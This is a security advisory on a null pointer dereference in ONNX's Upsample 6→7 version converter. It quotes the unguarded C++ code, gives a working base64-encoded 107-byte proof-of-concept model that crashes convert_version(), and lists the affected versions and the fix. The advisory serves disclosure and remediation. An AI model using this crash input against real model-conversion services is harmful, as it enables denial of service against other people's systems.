ONNX has Null Pointer Dereference in Upsample Version Converter Adapter (Zero Inputs)

Overview

Summary

Null pointer dereference (SIGSEGV) in Upsample_6_7::adapt_upsample_6_7() (onnx/version_converter/adapters/upsample_6_7.h:31) when convert_version() processes a model with an Upsample node that has zero inputs. The adapter accesses node->inputs()[0]->sizes() without checking input count. 107-byte PoC crashes on Release build.

This is the same class of bug as the Cast adapter advisory (separate report) but in a different adapter, different file, and different operator.

Details

The Upsample 6→7 adapter validates attributes but not inputs:

// upsample_6_7.h:20-33
void adapt_upsample_6_7(..., Node* node) const {
    ONNX_ASSERTM(
        node->hasAttribute(width_scale_symbol) && node->hasAttribute(height_scale_symbol),
        "...")  // Attribute check PASSES

    auto width_scale = node->f(width_scale_symbol);
    auto height_scale = node->f(height_scale_symbol);

    auto input_shape = node->inputs()[0]->sizes();
    //                 ^^^^^^^^^^^^^^^^^^^^
    //                 OOB when inputs().size() == 0 → SIGSEGV
}

The PoC has an Upsample node at opset 6 with the required width_scale and height_scale attributes but zero inputs. The attribute assertions pass, then node->inputs()[0] on an empty ArrayRef:

• Release builds (NDEBUG): bounds-check assertion compiled out → reads garbage pointer → SIGSEGV
• Debug builds: assert(Index < Length) at array_ref.h:159 → SIGABRT

An Upsample node with zero inputs passes graphProtoToGraph() because the import code only resolves input names present in the protobuf.

PoC

import base64
import onnx
from onnx import version_converter

poc_b64 = "CAI6YQo8EgFZIghVcHNhbXBsZSoVCgt3aWR0aF9zY2FsZRUAAABAoAEBKhYKDGhlaWdodF9zY2FsZRUAAABAoAEBEgR0ZXN0YhsKAVkSFgoUCAESEAoCCAEKAggBCgIIBAoCCARCBAoAEAY="

model = onnx.load_from_string(base64.b64decode(poc_b64))

# CRASHES — Upsample_6_7 adapter dereferences empty inputs array
version_converter.convert_version(model, 7)  # SIGSEGV

107-byte PoC. Confirmed SIGSEGV on both onnx 1.21.0 (pip) and 1.22.0 (source build).

Impact

Any application that uses onnx.version_converter.convert_version() on untrusted models is vulnerable. This includes model conversion pipelines and tools that auto-upgrade opset versions for compatibility. The crash is unrecoverable (SIGSEGV).

This vulnerability is part of a systemic pattern across multiple version converter adapters. A full audit of all ~45 adapters was performed as part of the fix; eight adapters were found with the same class of unguarded indexed access (cast_9_8, softmax_12_13, softmax_13_12, upsample_6_7, upsample_9_10, group_normalization_20_21, broadcast_forward_compatibility, upsample_9_8) and all have been fixed in PR #7813.

Affected packages

• onnx >= 1.9.0, < 1.22.0

Remediation

Upgrade to a patched release:

• onnx 1.22.0